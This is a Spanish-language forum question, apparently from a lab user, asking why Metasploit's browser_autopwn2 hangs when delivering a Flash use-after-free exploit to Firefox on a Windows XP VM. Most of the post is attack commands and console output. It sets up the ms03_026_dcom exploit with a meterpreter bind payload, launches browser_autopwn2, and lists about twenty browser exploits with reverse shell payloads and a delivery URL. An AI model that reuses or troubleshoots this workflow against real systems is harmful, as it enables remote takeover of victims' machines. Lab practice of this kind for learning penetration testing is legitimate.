- Dispositivo virtual: VMWare Workstation 12 Player
- VM local: Kali Linux 2
- VM remota (víctima): Windows XP
- Navegadores en máquinas virtuales remotas: Firefox 47.0.1, IE 6
Este artículo explica exploit Autopwn2 del navegador .
Seguí los pasos, pero se colgó en adobe_flash_hacking_team_uaf - Sending SWF
Alguien tuvo un problema similar y se le dijo que su Firefox debe haberse actualizado antes de que se lanzara la explotación real.
Por lo tanto, actualicé Firefox e intenté la explotación nuevamente. Pero todavía cuelga en adobe_flash_hacking_team_uaf - Sending SWF . No hay mensaje de error, simplemente se cuelga.
Luego intenté cambiar el RPORT de 445 a 4444, ya que muchas de las vulnerabilidades enumeradas dicen que funciona mejor en el puerto 4444.
Tenga en cuenta que el exploit funciona en IE 6, pero no en Firefox, pero ese no es el punto. Me gustaría que funcione en Firefox
Pregunta: ¿Cómo solucionar problemas para que esta vulnerabilidad funcione en Firefox?
Aquí están los comandos y resultados detallados:
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > set RHOST 192.168.1.9
RHOST => 192.168.1.9
msf exploit(ms03_026_dcom) > set RPORT 4444
RPORT => 4444
msf exploit(ms03_026_dcom) > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf auxiliary(browser_autopwn2) > exploit
[*] Auxiliary module execution completed
[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) > [*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 10.717221465
[*] Starting the payload handler...
[*] Using URL: http://0.0.0.0:8080/OZ324lv57mALPCG
[*] Local IP: http://192.168.1.10:8080/OZ324lv57mALPCG
[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.
Exploits
========
Order Rank Name Payload
----- ---- ---- -------
1 Excellent firefox_webidl_injection firefox/shell_reverse_tcp on 4442
2 Excellent firefox_tostring_console_injection firefox/shell_reverse_tcp on 4442
3 Excellent firefox_svg_plugin firefox/shell_reverse_tcp on 4442
4 Excellent firefox_proto_crmfrequest firefox/shell_reverse_tcp on 4442
5 Excellent webview_addjavascriptinterface android/meterpreter/reverse_tcp on 4443
6 Excellent samsung_knox_smdm_url android/meterpreter/reverse_tcp on 4443
7 Great adobe_flash_worker_byte_array_uaf windows/meterpreter/reverse_tcp on 4444
8 Great adobe_flash_domain_memory_uaf windows/meterpreter/reverse_tcp on 4444
9 Great adobe_flash_copy_pixels_to_byte_array windows/meterpreter/reverse_tcp on 4444
10 Great adobe_flash_casi32_int_overflow windows/meterpreter/reverse_tcp on 4444
11 Great adobe_flash_uncompress_zlib_uaf windows/meterpreter/reverse_tcp on 4444
12 Great adobe_flash_shader_job_overflow windows/meterpreter/reverse_tcp on 4444
13 Great adobe_flash_shader_drawing_fill windows/meterpreter/reverse_tcp on 4444
14 Great adobe_flash_pixel_bender_bof windows/meterpreter/reverse_tcp on 4444
15 Great adobe_flash_opaque_background_uaf windows/meterpreter/reverse_tcp on 4444
16 Great adobe_flash_net_connection_confusion windows/meterpreter/reverse_tcp on 4444
17 Great adobe_flash_nellymoser_bof windows/meterpreter/reverse_tcp on 4444
18 Great adobe_flash_hacking_team_uaf windows/meterpreter/reverse_tcp on 4444
19 Good wellintech_kingscada_kxclientdownload windows/meterpreter/reverse_tcp on 4444
20 Good ms14_064_ole_code_execution windows/meterpreter/reverse_tcp on 4444
21 Good adobe_flash_uncompress_zlib_uninitialized windows/meterpreter/reverse_tcp on 4444
[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://192.168.1.10:8080/OZ324lv57mALPCG
[*] Server started.
[*] Starting the payload handler...
[*] 192.168.1.9 browser_autopwn2 - Gathering target information.
[*] 192.168.1.9 browser_autopwn2 - Sending HTML response.
[*] 192.168.1.9 adobe_flash_hacking_team_uaf - Request: /lHXtefajTHzb/MuVDJf/
[*] 192.168.1.9 adobe_flash_hacking_team_uaf - Sending HTML...
[*] 192.168.1.9 adobe_flash_hacking_team_uaf - Request: /lHXtefajTHzb/MuVDJf/XxgNf.swf
[*] 192.168.1.9 adobe_flash_hacking_team_uaf - Sending SWF...